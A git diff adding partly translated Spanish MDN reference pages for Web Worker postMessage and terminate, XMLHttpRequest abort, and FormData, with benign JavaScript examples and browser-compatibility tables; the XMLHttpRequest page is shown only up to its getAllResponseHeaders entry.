+++ b/files/es/web/api/worker/postmessage/index.html
@@ -0,0 +1,206 @@
+---
+title: Worker.postMessage()
+slug: Web/API/Worker/postMessage
+translation_of: Web/API/Worker/postMessage
+---
+<p>{{APIRef("Web Workers API")}}</p>
+
+<p><a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API">Web Workers API</a> posee un metodo llamado <code><strong>postMessage()</strong></code> el cual envia un mensaje al ambito del worker. Este metodo acepta un parametro, el cual es un dato enviado al worker. El dato puede ser un valor o objeto controlado por el algoritmo strctured clone (incluye referencias ciclicas).</p>
+
+<p>El Worker puede enviar de vuelta información al hilo que lo genero usando el metodo {{domxref("DedicatedWorkerGlobalScope.postMessage")}}.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: js">myWorker.postMessage(aMessage, transferList);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><em>aMessage</em></dt>
+ <dd>The object to deliver to the worker; this will be in the data field in the event delivered to the {{domxref("DedicatedWorkerGlobalScope.onmessage")}} handler. This may be any value or JavaScript object handled by the <a href="/en-US/docs/Web/Guide/DOM/The_structured_clone_algorithm" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/common-dom-interfaces.html#transferable">structured clone</a> algorithm, which includes cyclical references.</dd>
+ <dt><em>transferList</em> {{optional_inline}}</dt>
+ <dd>An optional <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array">array</a> of {{domxref("Transferable")}} objects to transfer ownership of. If the ownership of an object is transferred, it becomes unusable (<em>neutered</em>) in the context it was sent from and it becomes available only to the worker it was sent to.</dd>
+ <dd>Only {{domxref("MessagePort")}} and {{domxref("ArrayBuffer")}} objects can be transferred.</dd>
+</dl>
+
+<h3 id="Returns">Returns</h3>
+
+<p>Void.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>The following code snippet shows creation of a {{domxref("Worker")}} object using the {{domxref("Worker.Worker", "Worker()")}} constructor. When either of two form inputs (<code>first</code> and <code>second</code>) have their values changed, {{event("change")}} events invoke <code>postMessage()</code> to send the value of both inputs to the current worker.</p>
+
+<pre class="brush: js">var myWorker = new Worker("worker.js");
+
+first.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}
+
+second.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}
+</pre>
+
+<p>For a full example, see our<a class="external external-icon" href="https://github.com/mdn/simple-web-worker">Basic dedicated worker example</a> (<a class="external external-icon" dir="ltr" href="mailto:aguilahorus@gmail.com">run dedicated worker</a>).</p>
+
+<div class="note">
+<p><strong>Note</strong>: <code>postMessage()</code> can only send a single object at once. As seen above, if you want to pass multiple values you can send an array.</p>
+</div>
+
+<h2 id="Transfer_Example">Transfer Example</h2>
+
+<p>This example is of a Firefox addon that transfers an ArrayBuffer from the main thread to the ChromeWorker, and then the ChromeWorker trasnfers it back to the main thread.</p>
+
+<h4 id="Main_thread_code">Main thread code:</h4>
+
+<pre class="brush: js">var myWorker = new ChromeWorker(self.path + 'myWorker.js');
+
+function handleMessageFromWorker(msg) {
+    console.log('incoming message from worker, msg:', msg);
+    switch (msg.data.aTopic) {
+        case 'do_sendMainArrBuff':
+            sendMainArrBuff(msg.data.aBuf)
+            break;
+        default:
+            throw 'no aTopic on incoming message to ChromeWorker';
+    }
+}
+
+myWorker.addEventListener('message', handleMessageFromWorker);
+
+// Ok lets create the buffer and send it
+var arrBuf = new ArrayBuffer(8);
+console.info('arrBuf.byteLength pre transfer:', arrBuf.byteLength);
+
+myWorker.postMessage(
+    {
+        aTopic: 'do_sendWorkerArrBuff',
+        aBuf: arrBuf // The array buffer that we passed to the transferrable section 3 lines below
+    },
+    [
+        arrBuf // The array buffer we created 9 lines above
+    ]
+);
+
+console.info('arrBuf.byteLength post transfer:', arrBuf.byteLength);
+</pre>
+
+<h4 id="Worker_code">Worker code</h4>
+
+<pre class="brush: js">self.onmessage = function (msg) {
+    switch (msg.data.aTopic) {
+        case 'do_sendWorkerArrBuff':
+                sendWorkerArrBuff(msg.data.aBuf)
+            break;
+        default:
+            throw 'no aTopic on incoming message to ChromeWorker';
+    }
+}
+
+function sendWorkerArrBuff(aBuf) {
+    console.info('from worker, PRE send back aBuf.byteLength:', aBuf.byteLength);
+
+    self.postMessage({aTopic:'do_sendMainArrBuff', aBuf:aBuf}, [aBuf]);
+
+    console.info('from worker, POST send back aBuf.byteLength:', aBuf.byteLength);
+}
+</pre>
+
+<h4 id="Output_logged">Output logged</h4>
+
+<pre>arrBuf.byteLength pre transfer: 8                              bootstrap.js:40
+arrBuf.byteLength post transfer: 0                             bootstrap.js:42
+
+from worker, PRE send back aBuf.byteLength: 8                  myWorker.js:5:2
+
+incoming message from worker, msg: message { ... }             bootstrap.js:20
+got back buf in main thread, aBuf.byteLength: 8                bootstrap.js:12
+
+from worker, POST send back aBuf.byteLength: 0                 myWorker.js:7:2</pre>
+
+<p>We see that byteLength goes to 0 as it is trasnferred. To see a fully working example of this Firefox demo addon see here: <a href="https://github.com/Noitidart/ChromeWorker/tree/aca57d9cadc4e68af16201bdecbfb6f9a6f9ca6b">GitHub :: ChromeWorker - demo-transfer-arraybuffer</a></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#dom-worker-postmessage", "Worker.postMessage()")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName("Web Workers")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Workers', "#dom-worker-postmessage", "Worker.postMessage()")}}</td>
+   <td>{{Spec2('Web Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10.0 [1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10.0 [1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Internet Explorer does not support {{domxref("Transferable")}} objects.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{domxref("Worker")}} interface it belongs to.</li>
+</ul>
diff --git a/files/es/web/api/worker/terminate/index.html b/files/es/web/api/worker/terminate/index.html
new file mode 100644
index 0000000000..d557989f25
--- /dev/null
+++ b/files/es/web/api/worker/terminate/index.html
@@ -0,0 +1,107 @@
+---
+title: Worker.terminate()
+slug: Web/API/Worker/terminate
+translation_of: Web/API/Worker/terminate
+---
+<p>{{APIRef("Web Workers API")}}</p>
+
+<p>El método <code><strong>terminate()</strong></code> de la interfaz {{domxref("Worker")}} termina inmediatamente el {{domxref("Worker")}}. Esto no ofrece la oportunidad de finalizar las operaciones que estuviera realizando el worker, termina la ejecución por completo.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: js">myWorker.terminate();</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Retorna">Retorna</h3>
+
+<p>Nada.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>El siguiente extracto de código muestra la creación de un objeto {{domxref("Worker")}} usando el constructor de  {{domxref("Worker.Worker", "Worker()")}} y éste es inmediatamente terminado.</p>
+
+<pre class="brush: js">var myWorker = new Worker('worker.js');
+
+myWorker.terminate();
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#dom-worker-terminate", "Worker.postMessage()")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName("Web Workers")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Workers', "#dom-worker-terminate", "Worker.postMessage()")}}</td>
+   <td>{{Spec2('Web Workers')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>10.0</td>
+   <td>10.6</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>4.4</td>
+   <td>3.5</td>
+   <td>1.0.1</td>
+   <td>10.0</td>
+   <td>11.5</td>
+   <td>5.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Mirar_también">Mirar también</h2>
+
+<p>La interfaz {{domxref("Worker")}} a la que pertenece.</p>
diff --git a/files/es/web/api/xmlhttprequest/abort/index.html b/files/es/web/api/xmlhttprequest/abort/index.html
new file mode 100644
index 0000000000..de73cb1a5d
--- /dev/null
+++ b/files/es/web/api/xmlhttprequest/abort/index.html
@@ -0,0 +1,120 @@
+---
+title: XMLHttpRequest.abort()
+slug: Web/API/XMLHttpRequest/abort
+tags:
+  - AJAX
+  - API
+  - HTTP
+  - HttpRequest
+  - Referencia
+  - XHR
+  - XMLHttpRequest
+  - abortar
+  - metodo
+translation_of: Web/API/XMLHttpRequest/abort
+---
+<p>{{APIRef('XMLHttpRequest')}}</p>
+
+<p>El método <strong>XMLHttpRequest.abort()</strong> aborta la petición si ha sido enviada. Cuando una petición se aborta, readyState se asigna a 0 (UNSENT), pero el evento <a href="/en-US/docs/Web/Events/readystatechange">readystatechange</a> no se lanza.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">xhrInstance.abort();</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Vacío.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: js">var xhr = new XMLHttpRequest(),
+    method = "GET",
+    url = "https://developer.mozilla.org/";
+xhr.open(method,url,true);
+
+xhr.send();
+
+xhr.abort();
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-abort()-method')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Mejora</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome(1)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatIe('5')}}<sup>[1]</sup><br>
+    {{CompatIe('7')}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatSafari('1.2')}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Mejora</th>
+   <th>Android</th>
+   <th>Chrome para Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] This feature was implemented via ActiveXObject(). Internet Explorer implementa el estándar XMLHttpRequest desde la versión 7.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Uso de XMLHttpRequest</a></li>
+</ul>
diff --git a/files/es/web/api/xmlhttprequest/formdata/index.html b/files/es/web/api/xmlhttprequest/formdata/index.html
new file mode 100644
index 0000000000..2ca830daf7
--- /dev/null
+++ b/files/es/web/api/xmlhttprequest/formdata/index.html
@@ -0,0 +1,84 @@
+---
+title: FormData
+slug: Web/API/XMLHttpRequest/FormData
+tags:
+  - API
+  - FormData
+  - Interfaz
+  - Referencia
+  - XMLHttpRequest
+translation_of: Web/API/FormData
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>La interfaz <strong><code>FormData</code></strong> proporciona una manera sencilla de construir un conjunto de parejas clave/valor que representan los campos de un formulario y sus valores, que pueden ser enviados fácilmente con el método {{domxref("XMLHttpRequest.send()")}}. Utiliza el mismo formato que usaría un formulario si el tipo de codificación fuera <code>"multipart/form-data"</code>.</p>
+
+<p>También puede pasarse directamente al constructor de {{domxref("URLSearchParams")}} si se quieren generar parámetros de consulta de la misma forma en que lo haría un {{HTMLElement("form")}} si usara un envío <code>GET</code> simple.</p>
+
+<p>Un objeto que implementa <code>FormData</code> puede usarse directamente en una estructura {{jsxref("Statements/for...of", "for...of")}}, en lugar de {{domxref('FormData.entries()', 'entries()')}}: <code>for (var p of myFormData)</code> es equivalente a <code>for (var p of myFormData.entries())</code>.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Esta característica está disponible en <a href="/es/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("FormData.FormData","FormData()")}}</dt>
+ <dd>Crea un nuevo objeto <code>FormData</code>.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<dl>
+ <dt>{{domxref("FormData.append()")}}</dt>
+ <dd>Agrega un nuevo valor a una clave existente dentro de un objeto <code>FormData</code>, o añade la clave si aún no existe.</dd>
+ <dt>{{domxref("FormData.delete()")}}</dt>
+ <dd>Elimina una pareja clave/valor de un objeto <code>FormData</code>.</dd>
+ <dt>{{domxref("FormData.entries()")}}</dt>
+ <dd>Devuelve un {{jsxref("Iteration_protocols","iterator")}} que permite recorrer todas las parejas clave/valor contenidas en este objeto.</dd>
+ <dt>{{domxref("FormData.get()")}}</dt>
+ <dd>Devuelve el primer valor asociado con una clave dada en un objeto <code>FormData</code>.</dd>
+ <dt>{{domxref("FormData.getAll()")}}</dt>
+ <dd>Devuelve un array con todos los valores asociados con una clave dada en un objeto <code>FormData</code>.</dd>
+ <dt>{{domxref("FormData.has()")}}</dt>
+ <dd>Devuelve un booleano que indica si un objeto <code>FormData</code> contiene una clave determinada.</dd>
+ <dt>{{domxref("FormData.keys()")}}</dt>
+ <dd>Devuelve un {{jsxref("Iteration_protocols", "iterator")}} que permite recorrer todas las claves de las parejas clave/valor contenidas en este objeto.</dd>
+ <dt>{{domxref("FormData.set()")}}</dt>
+ <dd>Establece un nuevo valor para una clave existente dentro de un objeto <code>FormData</code>, o agrega la clave/valor si aún no existe.</dd>
+ <dt>{{domxref("FormData.values()")}}</dt>
+ <dd>Devuelve un {{jsxref("Iteration_protocols", "iterator")}} que permite recorrer todos los valores contenidos en este objeto.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#interface-formdata','FormData')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>FormData definido en XHR spec</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("api.FormData")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="En/Using XMLHttpRequest">Utilización de XMLHttpRequest</a></li>
+ <li><a href="/es/docs/Web/Guide/Usando_Objetos_FormData" title="en/DOM/XMLHttpRequest/FormData/Using_FormData_objects">Usando objetos FormData</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/es/web/api/xmlhttprequest/index.html b/files/es/web/api/xmlhttprequest/index.html
new file mode 100644
index 0000000000..243b3220e6
--- /dev/null
+++ b/files/es/web/api/xmlhttprequest/index.html
@@ -0,0 +1,428 @@
+---
+title: XMLHttpRequest
+slug: Web/API/XMLHttpRequest
+tags:
+  - AJAX
+  - Todas_las_Categorías
+  - XMLHttpRequest
+  - páginas_a_traducir
+translation_of: Web/API/XMLHttpRequest
+---
+<p><code>XMLHttpRequest</code> es un objeto <a class="internal" href="/en/JavaScript" title="En/JavaScript">JavaScript</a> que fue diseñado por Microsoft y adoptado por Mozilla, Apple y Google. Actualmente es un <a class="external" href="http://www.w3.org/TR/XMLHttpRequest/" title="http://www.w3.org/TR/XMLHttpRequest/">estándar de la W3C</a>. Proporciona una forma fácil de obtener información de una URL sin tener que recargar la página completa. Una página web puede actualizar sólo una parte de la página sin interrumpir lo que el usuario está haciendo. <code style="font-size: 14px;">XMLHttpRequest</code> es ampliamente usado en la programación AJAX.</p>
+
+<p><span style="line-height: 1.5;">A pesar de su nombre, </span><code style="font-size: 14px;">XMLHttpRequest</code><span style="line-height: 1.5;"> puede ser usado para recibir cualquier tipo de dato, no solo XML, y admite otros formatos además de </span><a href="/en/HTTP" style="line-height: 1.5;" title="en/HTTP">HTTP</a><span style="line-height: 1.5;"> (incluyendo </span><code style="font-size: 14px;">file</code><span style="line-height: 1.5;"> y </span><code style="font-size: 14px;">ftp</code><span style="line-height: 1.5;">).</span></p>
+
+<p>Para crear una instancia de <code>XMLHttpRequest</code>, debes hacer lo siguiente:</p>
+
+<pre>var req = new XMLHttpRequest();
+</pre>
+
+<p>Para obtener más información de cómo usar <code>XMLHttpRequest</code>, mira <a class="internal" href="/Es/XMLHttpRequest/Using_XMLHttpRequest" title="En/Using XMLHttpRequest">Usar XMLHttpRequest</a>.</p>
+
+<div class="note"><strong>Nota:</strong> De forma predeterminada, Firefox 3 limita la cantidad de conexiones de <code>XMLHttpRequest</code> por servidor a 6 (las versiones previas limitan a 2 conexiones por servidor). Algunos sitios web interactivos pueden mantener una conexión <code>XMLHttpRequest</code> abierta, así que abrir múltiples sesiones a esos sitios puede derivar en congelamientos del navegador de una forma que la ventana no se actualiza y los controles no responden. Este valor puede ser cambiado al editar la preferencia <code>network.http.max-persistent-connections-per-server</code> en <code><a class="linkification-ext" href="/about:config" title="Linkification: about:config">about:config</a></code>.</div>
+
+<h2 id="Resumen_del_método">Resumen del método</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a class="internal" href="/en/XMLHttpRequest#abort()" title="/En/XMLHttpRequest#abort()">abort</a>();</code></td>
+  </tr>
+  <tr>
+   <td><code>string <a class="internal" href="/en/XMLHttpRequest#getAllResponseHeaders()" title="/en/XMLHttpRequest#getAllResponseHeaders()">getAllResponseHeaders</a>();</code></td>
+  </tr>
+  <tr>
+   <td><code>ACString <a class="internal" href="/en/XMLHttpRequest#getResponseHeader()" title="/en/XMLHttpRequest#getResponseHeader()">getResponseHeader</a>(in AUTF8String header);</code></td>
+  </tr>
+  <tr>
+   <td><code>[noscript] void <a class="internal" href="/en/XMLHttpRequest#init()" title="/en/XMLHttpRequest#init()">init</a>(in nsIPrincipal principal, in nsIScriptContext scriptContext, in nsPIDOMWindow ownerWindow);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a class="internal" href="/en/XMLHttpRequest#open()" title="/en/XMLHttpRequest#open()">open</a>(in AUTF8String method, in AUTF8String url);</code></td>
+  </tr>
+  <tr>
+   <td><code>[noscript] void <a class="internal" href="/en/XMLHttpRequest#openRequest()" title="/en/XMLHttpRequest#openRequest()">openRequest</a>(in AUTF8String method, in AUTF8String url, in boolean async, in AString user, in AString password);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a class="internal" href="/en/XMLHttpRequest#overrideMimeType()" title="/en/XMLHttpRequest#overrideMimeType()">overrideMimeType</a>(in AUTF8String mimetype);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a class="internal" href="/en/XMLHttpRequest#send()" title="/en/XMLHttpRequest#send()">send</a>([optional] in nsIVariant body);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a class="internal" href="/en/XMLHttpRequest#sendAsBinary()" title="/en/XMLHttpRequest#sendAsBinary()">sendAsBinary</a>(in DOMString body); {{ fx_minversion_inline(3) }}</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a class="internal" href="/en/XMLHttpRequest#setRequestHeader()" title="/en/XMLHttpRequest#setRequestHeader()">setRequestHeader</a>(in AUTF8String header, in AUTF8String value);</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Atributo</td>
+   <td class="header">Tipo</td>
+   <td class="header">Descripción</td>
+  </tr>
+  <tr>
+   <td><code>channel</code></td>
+   <td>{{ Interface("nsIChannel") }}</td>
+   <td>El canal es usado por el objeto cuando se produce el pedido. Esto da <code>null</code> si el canal aún no fue creado. En el caso de un pedido de múltiples partes, este es el canal inicial, no las diferentes partes del pedido múltiple. <strong>Es necesario tener privilegios elevados para acceder; sólo lectura.</strong> {{ Non-standard_inline() }}</td>
+  </tr>
+  <tr>
+   <td><code>mozBackgroundRequest</code></td>
+   <td><code>booleano</code></td>
+   <td>
+    <p>Indica si el objeto representa o no un pedido de un servicio de fondo. Si es <code>true</code>, no se asocia una carga de grupo con el pedido, y los diálogos de seguridad no se muestran al usuario. <strong>Es necesario tener privilegios elevados para acceder. </strong>{{ Non-standard_inline() }}</p>
+
+    <p>En los casos en que un diálogo de seguridad debe ser mostrado (como en una autentficación o la notificación de un certificado no válido), el pedido simplemente falla.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>mozResponseArrayBuffer</code>  {{ non-standard_inline() }}</td>
+   <td><a href="/en/JavaScript_typed_arrays/ArrayBuffer" title="en/JavaScript typed arrays/ArrayBuffer"><code>ArrayBuffer</code></a></td>
+   <td>La respuesta al pedido en la forma de un arreglo de JavaScript. Esto es NULL si el pedido no fue exitoso o si todavía no ha sido enviado. <strong>Sólo lectura.</strong></td>
+  </tr>
+  <tr>
+   <td><code>multipart</code></td>
+   <td><code>booleano</code></td>
+   <td>
+    <p>Indica cuando se espera que la respuesta sea o no una serie de mútiples documentos XML. Si se define como <code>true</code>, el tipo de contenido de la respuesta inicial debe ser <code>multipart/x-mixed-replace</code> u ocurrirá un error. Todos los pedidos deben ser asincrónicos.</p>
+
+    <p>Esto permite el uso del push del servidor; para cada documento XML que se escribe para este pedido, se crea un nuevo XMLDOMdocument y se llama al manejador <code>onload</code> entre cada documento.</p>
+
+    <div class="note"><strong>Nota:</strong> Cuando esto se elige, el manejador <code>onload</code> y otros manejadores de eventos no son reiniciados después de que el primer XMLdocument es cargado, y el manejador <code>onload</code> es llamado después de que cada parte de la respuesta es recibida.</div>
+   </td>
+  </tr>
+  <tr id="onreadystatechange">
+   <td>
+    <p><code>onreadystatechange</code></p>
+   </td>
+   <td>{{ Interface("nsIDOMEventListener") }}</td>
+   <td>
+    <p>Una función del objeto JavaScript que se llama cuando el atributo <code>readyState</code> cambia. El callback se llama desde la interfaz del usuario.</p>
+
+    <div class="warning"><strong>Aviso: </strong>Esto no debe ser usado desde código nativo. Tampoco debes usarlo con pedidos sincrónicos.</div>
+   </td>
+  </tr>
+  <tr id="readyState">
+   <td><code>readyState</code></td>
+   <td><code>long</code></td>
+   <td>
+    <p>El estado del pedido:</p>
+
+    <table class="standard-table">
+     <tbody>
+      <tr>
+       <td class="header">Valor</td>
+       <td class="header">Estado</td>
+       <td class="header">Descripción</td>
+      </tr>
+      <tr>
+       <td><code>0</code></td>
+       <td><code>UNINITIALIZED</code></td>
+       <td>todavía no se llamó a <code>open()</code>.</td>
+      </tr>
+      <tr>
+       <td><code>1</code></td>
+       <td><code>LOADING</code></td>
+       <td>todavía no se llamó a <code>send()</code>.</td>
+      </tr>
+      <tr>
+       <td><code>2</code></td>
+       <td><code>LOADED</code></td>
+       <td><code>send()</code> ya fue invocado, y los encabezados y el estado están disponibles.</td>
+      </tr>
+      <tr>
+       <td><code>3</code></td>
+       <td><code>INTERACTIVE</code></td>
+       <td>Descargando; <code>responseText</code> contiene información parcial.</td>
+      </tr>
+      <tr>
+       <td><code>4</code></td>
+       <td><code>COMPLETED</code></td>
+       <td>La operación está terminada.</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr id="responseText">
+   <td><code>responseText</code></td>
+   <td><code>AString</code></td>
+   <td>La respuesta al pedido como texto, o <code>null</code> si el pedido no fue exitoso o todavía no se envió. <strong>Sólo lectura.</strong></td>
+  </tr>
+  <tr id="responseXML">
+   <td><code>responseXML</code></td>
+   <td><code>nsIDOMDocument</code></td>
+   <td>
+    <p>La respuesta al pedido como un objeto DOM<code><a class="internal" href="/en/DOM/document" title="En/DOM/Document">Document</a></code>, o <code>null</code> si el pedido no fue exitoso, aún no fue enviado o no puede ser analizado como XML. La respuesta es analizada como si fuera <code>text/xml</code>. <strong>Sólo lectura.</strong></p>
+
+    <div class="note"><strong>Nota:</strong> Si el servidor no aplica el encabezado de tipo de contenido <code>text/xml</code>, puedes usar <code>overrideMimeType()</code> para forzar a <code>XMLHttpRequest</code> a analizarlo como XML igualmente.</div>
+   </td>
+  </tr>
+  <tr id="status">
+   <td><code>status</code></td>
+   <td><code>unsigned long</code></td>
+   <td>El estado de la respuesta al pedido. Éste es el código HTTPresult (por ejemplo, <code>status</code> es 200 por un pedido exitoso). <strong>Sólo lectura.</strong></td>
+  </tr>
+  <tr>
+   <td><code>statusText</code></td>
+   <td><code>AUTF8String</code></td>
+   <td>La cadena de respuesta que devuelve el HTTPserver. A diferencia de <code>status</code>, este incluye el texto completo del mensaje de respuesta ("<code>200 OK</code>", por ejemplo). <strong>Sólo lectura.</strong></td>
+  </tr>
+  <tr>
+   <td><code>upload</code></td>
+   <td>{{ Interface("nsIXMLHttpRequestUpload") }}</td>
+   <td>El proceso de subida puede ser rastreado al agregar un registro de evento a <code>upload</code>. {{ fx_minversion_inline(3.5) }}</td>
+  </tr>
+  <tr>
+   <td><code>withCredentials</code></td>
+   <td><code>booleano</code></td>
+   <td>
+    <p>Indica cuando el pedido de Access-Control entre sitios debe o no ser realizado usando credenciales como cookies o encabezados de autorización. {{ fx_minversion_inline(3.5) }}</p>
+
+    <div class="note"><strong>Nota:</strong> Esto nunca afecta los pedidos en para el propio sitio.</div>
+
+    <p>El valor predeterminado es <code>false</code>.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Métodos">Métodos</h2>
+
+<h3 id="abort()">abort()</h3>
+
+<p>Aborta el pedido si éste ya fue enviado.</p>
+
+<pre>void abort();
+</pre>
+
+<h6 id="Parámetros">Parámetros</h6>
+
+<p>Ninguno.</p>
+
+<h3 id="getAllResponseHeaders()">getAllResponseHeaders()</h3>
+
+<p>Devuelve todos los encabezados de respuesta como una cadena.</p>
+
+<div class="note"><strong>Nota:</strong> Para pedidos multi partes, esto devuelve los encabezados de la parte <em>actual</em> del pedido, no del canal original.</div>
+
+<pre>string getAllResponseHeaders();
+</pre>
+
